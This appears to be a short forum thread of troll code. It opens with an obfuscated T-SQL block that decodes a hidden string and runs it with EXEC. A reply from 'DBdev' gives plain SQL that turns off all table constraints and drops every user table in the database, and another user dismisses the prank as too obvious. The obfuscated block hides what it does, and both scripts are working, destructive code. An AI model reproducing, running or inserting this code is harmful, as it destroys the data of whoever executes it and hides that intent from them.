- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
BEGIN
DECLARE @I1 VARCHAR(MAX);
SET @I1 = 'l6?4GI6VFFI4O?l6?4kVF6?lOX4?lX@?VGX_?6?;VgY?Gi4X?96G4Y?l7'+
'X@Ab?4FTIG?eVgOb>64i4?X_`4T?M\NkhGIGkH96G4Y@@?4F_9B?lX@?V'+
'GX_?6?;VgY?Gi4X?96G4Y?l6?X4eV?l7MMJ>gI96gIS?W@?4gIF64O?lb'+
'hb\4eEG?4g49B?R3]ZcU5[RPR?;VgY?ZjLW?G64F4k?gVY?gVkgh6?]?4'+
'gIF64O?lb==L?GX_IgGkXV6?C6496VX?8?4FTIG?g4GFIb?Z=UL3<]LZ^'+
'5KRjH:R?64i4';
DECLARE @I2 VARCHAR(MAX);
SET @I2 = 'tEoC)?HpMhl( @+WK!YLT_A2fa0>Dy6sVBbOnNFe.=crIG|j…P>RUXmS;'
DECLARE @I3 VARCHAR(MAX) ,
@I INT;
SET @I = 1;
SET @I3 = '';
WHILE @I <= LEN(@I1)
BEGIN
SET @I3 = SUBSTRING(@I2, 0 + ASCII(SUBSTRING(@I1, @I, 1)) - 50, 1)
+ @I3;
SET @I = @I + 1;
END;
SET @I3=REPLACE(@I3,'|','''');
EXEC(@I3);
END;
DBdev 27.11.2013 16:08 # +10
EXEC sp_msforeachtable 'ALTER TABLE ? NOCHECK CONSTRAINT all';
DECLARE c CURSOR FOR SELECT name FROM sys.objects WHERE TYPE='U';
DECLARE @n VARCHAR(200);
OPEN C;
FETCH NEXT FROM C INTO @N;
WHILE @@FETCH_STATUS>=0
BEGIN
EXEC('DROP TABLE '+@N);
FETCH NEXT FROM C INTO @N;
END;
CLOSE C;
DEALLOCATE C;
Слишком толсто.
Lure Of Chaos 27.11.2013 22:01 # +1